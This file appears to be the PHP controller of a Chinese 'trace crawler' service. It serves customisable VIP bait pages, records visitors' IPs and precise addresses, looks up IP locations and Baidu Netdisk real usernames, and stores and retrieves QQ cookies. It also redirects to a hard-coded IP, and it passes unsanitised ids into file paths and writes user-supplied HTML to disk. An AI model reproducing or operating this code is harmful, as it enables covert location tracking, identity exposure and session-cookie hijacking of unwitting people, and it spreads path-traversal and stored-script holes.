<?php
namespace app\index\controller;
//use think\cache\driver\Redis;
use think\Controller;
class Index extends Controller
{
//--------------视图输出--------------------
	public function index()
	{
	   return view ("/index");
	}
	public function personal($id=0)
	{
		if($id==0){
			return view('/personal',['id'=>$id]);
		}else{

			$filename="../static/userip/".$id.'/'.$id.'.html';
			if(file_exists($filename)){
				return view($filename,['id'=>$id]);
			}else{
				return '请先配置你自己的个人页面~';
			}
		}

	}
	public function userjoin($id=1)
	{
		return view ('/join',['idd'=>$id]);
	}

	public function webcache()
	{
		return view('/cache');
	}
	public function left_nav($name)
	{
		if($name=='info'){
			$response = notice_get();
			$response = $response == '' ? '{"one": "欢迎使用！","tow": "欢迎使用！", "three": "欢迎使用！","four": "欢迎使用！"}' : $response;
			$response =json_decode($response,true);
			return view('/project/' . $name,$response);
		}else{
			return view('/project/' . $name);
		}
	}
	public function map($x,$y){
		return view('/map',['x'=>$x,'y'=>$y]);
	}
//--------------推广进入--------------------------
public function spread(){
	$request=request();
	$zhi=$request->post();
	if(yam($zhi)){
		spreadmark($zhi['id'],$zhi['ip']) ;
	   //return $this->index();
	   	$this->redirect('http://60.205.188.148/spider/index.html',302);
	}else{
		return '验证码错误或过期，请重新输入！';
	}
}
//----------------保存取得的详细地址--------------------
public function ads($id)
{
	$ip=request()->post();
	setExt($id,$ip['cip']);
}
//----------------注册登录操作------------------------
	public function operate()
	{
		$request=request();
		$zhi=$request->post();
		if(yam($zhi)){
			return validatelogin($zhi);
		}else{
			return '验证码错误或过期，请重新验证！';
		}
	}
//--------------用户页面保存---------------------
	public function userini($id=0)
	{
		if(is_vip()){
			$data=request()->post();
			$content = file_get_contents(APP_PATH.'index/view/personal.html');
			$content = str_replace( '一款帮助你了解个人上网痕迹的工具',$data['tbody'],$content);
			$content = str_replace( '痕迹爬虫',$data['title'],$content);
			$content = str_replace('出品：边界688工作室',$data['body'],$content);
			$content = str_replace('进入主站',$data['footer'],$content);
			$content = str_replace('http://www.688ing.com',$data['fhref'],$content);
			$content = str_replace('http://m2.music.126.net/lZgy9BoWEv4vfnEeOuIyjA==/2047290650930072.mp3',$data['mhref'],$content);
			$filename = '../static/userip/'.$id;
			if(!file_exists($filename)){
				mkdir($filename);
			}
			if(file_exists($filename.'/'.$id.'.html')){
				unlink($filename.'/'.$id.'.html');
			}
		    file_put_contents($filename.'/'.$id.'.html',$content);
		    return '已成功设置，打开您的专属链接查看！';
		}else{
			return '非VIP不得使用本功能！';
		}
		
	}
//-------------获取地址信息-----------------------
	public function place($id)
	{
		return json(get_place($id));
	}

//----------------卡密兑换VIP---------------------
	public function paycash($id,$card)
	{
		if($id=='undefined'){
			return '请登录后兑换！';
		}else{
			return updatevip($id,$card);
		}
	}
//---------------积分获取---------------------------
	public function getmark($id)
	{
		return mark($id);
	}
/*---------------信息处理任务------------------------*/
	public function queryadd($id,$key)
	{
		return query_auto_add($id,request()->post());
	}
	public function querygetuser()
	{
		return json_encode(query_auto_get());
	}
	public function querysave($id,$sign,$key)
	{
		if(is_vip()){
			$data = request()->post('data');
			query_auto_save($id,$sign,$data);
		}
	}
	public function querydata($id)
	{
		return json_encode(query_auto_data($id));
	}
	public function queryshow($id,$num,$key)
	{
		if(is_vip()){return query_auto_show($id,$num);}
	}
/*------------------搜索查询事件---------------------*/
	public function engines($id)
	{
		$data=request()->get();
		return json(search_engines($data,$id));
	}
/*------------------IP查询事件----------------------------*/
	public function ip($ip)
	{
		if(is_vip()){
			return json(getAddress_all($ip));
		}else{
			return '非VIP不得使用本功能！';
		}

	}
/*------------------百度网盘真实用户名获取-------------------*/
	public function pan($uk=0)
	{
		if(is_vip()){
			return pan_user($uk);
		}else{
			return '非VIP不得使用本功能！';
		}
	}	

//------------腾讯QQ操作---------------------------
	public function saveqq($sign)
	{
		$data = request()->post();
		return qq_cookies_save($sign,$data['data']);
	}
	
	public function getqq($sign,$offset)
	{
		return json(qq_cookies_get($sign,$offset));
	}

	public function MyKey($id=0,$token=0)
	{
		return fuchen_key($id,$token);
	}

	public  function ClearOut($sign)
	{
		clear_qq($sign);
	}








































































}
